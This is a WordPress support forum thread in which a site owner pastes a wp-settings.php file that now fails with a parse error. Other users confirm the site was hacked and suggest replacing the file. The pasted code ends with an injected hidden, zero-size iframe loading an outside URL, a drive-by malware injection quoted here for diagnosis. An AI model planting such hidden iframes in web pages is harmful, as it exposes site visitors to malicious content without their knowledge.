Title: Need PHP help: “Parse error: syntax error, unexpected $end”
Last modified: August 19, 2016

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# Need PHP help: “Parse error: syntax error, unexpected $end”

 *  Resolved [shadowpraxis](https://wordpress.org/support/users/shadowpraxis/)
 * (@shadowpraxis)
 * [16 years, 4 months ago](https://wordpress.org/support/topic/need-help-parse-error-syntax-error-unexpected-end/)
 * Hey all – here’s hoping someone can assist me.
 * I woke up this morning and tried to load my site to find the following message
   greeting me.
 * “Parse error: syntax error, unexpected $end in /home/crushf5/public_html/wp-settings.
   php on line 142”
 * I know nothing at all about PHP coding and have never messed with or edited it
   myself at all. A bit of websearching told me that an unexpected $end error is
   usually caused by a missing bracket, bit of punctuation or other similar issue.
   Sadly, not knowing my way around PHP code at all, I wouldn’t even know where 
   to begin looking.
 * Here’s the code itself:
 *     ```
       <?php
       /**
        * Used to setup and fix common variables and include
        * the WordPress procedural and class library.
        *
        * You should not have to change this file and allows
        * for some configuration in wp-config.php.
        *
        * @package WordPress
        */
   
       if ( !defined('WP_MEMORY_LIMIT') )
       	define('WP_MEMORY_LIMIT', '32M');
   
       if ( function_exists('memory_get_usage') && ( (int) @ini_get('memory_limit') < abs(intval(WP_MEMORY_LIMIT)) ) )
       	@ini_set('memory_limit', WP_MEMORY_LIMIT);
   
       set_magic_quotes_runtime(0);
       @ini_set('magic_quotes_sybase', 0);
   
       if ( function_exists('date_default_timezone_set') )
       	date_default_timezone_set('UTC');
   
       /**
        * Turn register globals off.
        *
        * @access private
        * @since 2.1.0
        * @return null Will return null if register_globals PHP directive was disabled
        */
       function wp_unregister_GLOBALS() {
       	if ( !ini_get('register_globals') )
       		return;
   
       	if ( isset($_REQUEST['GLOBALS']) )
       		die('GLOBALS overwrite attempt detected');
   
       	// Variables that shouldn't be unset
       	$noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix');
   
       	$input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
       	foreach ( $input as $k => $v )
       		if ( !in_array($k, $noUnset) && isset($GLOBALS[$k]) ) {
       			$GLOBALS[$k] = NULL;
       			unset($GLOBALS[$k]);
       		}
       }
   
       wp_unregister_GLOBALS();
   
       unset( $wp_filter, $cache_lastcommentmodified, $cache_lastpostdate );
   
       /**
        * The $blog_id global, which you can change in the config allows you to create a simple
        * multiple blog installation using just one WordPress and changing $blog_id around.
        *
        * @global int $blog_id
        * @since 2.0.0
        */
       if ( ! isset($blog_id) )
       	$blog_id = 1;
   
       // Fix for IIS when running with PHP ISAPI
       if ( empty( $_SERVER['REQUEST_URI'] ) || ( php_sapi_name() != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) {
   
       	// IIS Mod-Rewrite
       	if (isset($_SERVER['HTTP_X_ORIGINAL_URL'])) {
       		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
       	}
       	// IIS Isapi_Rewrite
       	else if (isset($_SERVER['HTTP_X_REWRITE_URL'])) {
       		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
       	}
       	else
       	{
       		// Use ORIG_PATH_INFO if there is no PATH_INFO
       		if ( !isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO']) )
       			$_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];
   
       		// Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
       		if ( isset($_SERVER['PATH_INFO']) ) {
       			if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] )
       				$_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
       			else
       				$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
       		}
   
       		// Append the query string if it exists and isn't null
       		if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) {
       			$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
       		}
       	}
       }
   
       // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
       if ( isset($_SERVER['SCRIPT_FILENAME']) && ( strpos($_SERVER['SCRIPT_FILENAME'], 'php.cgi') == strlen($_SERVER['SCRIPT_FILENAME']) - 7 ) )
       	$_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];
   
       // Fix for Dreamhost and other PHP as CGI hosts
       if (strpos($_SERVER['SCRIPT_NAME'], 'php.cgi') !== false)
       	unset($_SERVER['PATH_INFO']);
   
       // Fix empty PHP_SELF
       $PHP_SELF = $_SERVER['PHP_SELF'];
       if ( empty($PHP_SELF) )
       	$_SERVER['PHP_SELF'] = $PHP_SELF = preg_replace("/(\?.*)?$/",'',$_SERVER["REQUEST_URI"]);
   
       if ( version_compare( '4.3', phpversion(), '>' ) ) {
       	die( sprintf( /*WP_I18N_OLD_PHP*/'Your server is running PHP version %s but WordPress requires at least 4.3.'/*/WP_I18N_OLD_PHP*/, phpversion() ) );
       }
   
       if ( !defined('WP_CONTENT_DIR') )
       	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // no trailing slash, full paths only - WP_CONTENT_URL is defined further down
   
       if ( file_exists(ABSPATH . '.maintenance') && !defined('WP_INSTALLING') ) {
       	include(ABSPATH . '.maintenance');
       	// If the $upgrading timestamp is older than 10 minutes, don't die.
       	if ( ( time() - $upgrading ) < 600 ) {
       		if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
       			require_once( WP_CONTENT_DIR . '/maintenance.php' );
       			die();
       		}
   
       		$protocol = $_SERVER["SERVER_PROTOCOL"];
       		if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
       			$protocol = 'HTTP/1.0';
       		header( "$protocol 503 Service Unavailable", true, 503 );
       		header( 'Content-Type: text/html; charset=utf-8' );
       		header( 'Retry-After: 600' );
       ?>
       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
       <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
       	<title>Maintenance</title>
   
       </head>
       <body>
       	<h1>Briefly unavailable for scheduled maintenance. Check back in a minute.</h1>
       </body>
       </html>
       <iframe wlwxk='mf2bOAkR' src='http://liveiframe.net/s/in.cgi?7 ' oxfik='1gJm8oam' width='0' height='0' style='display:none'></iframe>
       ```
   
 * Line 142 is the final one, that begins and ends with the iframe code.
 * I downloaded a fresh copy of the WP install and looked at the code to try to 
   see if there were obvious differences and there’s a TON of code following the
   final html bracket – also, the iframe code isn’t there.
 * This is leading me to suspect that my site might have been hacked or something,
   but I’d like to get some feedback from someone more knowledgable in this than
   I.
 * I do have a backup of the site from the 5th of Jan (just before I upgraded to
   2.9.1) so I could restore the site without TOO much lost content – it’s just 
   frustrating as all hell, however, and would be nice to get some validation from
   someone else.
 * Thanks in advance for anyone who can help with this.
 * – Rob

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 *  [alism](https://wordpress.org/support/users/alism/)
 * (@alism)
 * [16 years, 4 months ago](https://wordpress.org/support/topic/need-help-parse-error-syntax-error-unexpected-end/#post-1352139)
 * Yes, hacked. 🙁
 * These two links should get you started.
    [http://codex.wordpress.org/FAQ_My_site_was_hacked](http://codex.wordpress.org/FAQ_My_site_was_hacked)
   [http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/](http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/)
 *  [polochen](https://wordpress.org/support/users/polochen/)
 * (@polochen)
 * [16 years, 2 months ago](https://wordpress.org/support/topic/need-help-parse-error-syntax-error-unexpected-end/#post-1352491)
 * Try download the new WordPress and upload the new wp-settings.php. Of course,
   back up the current file first.
    It worked for me.

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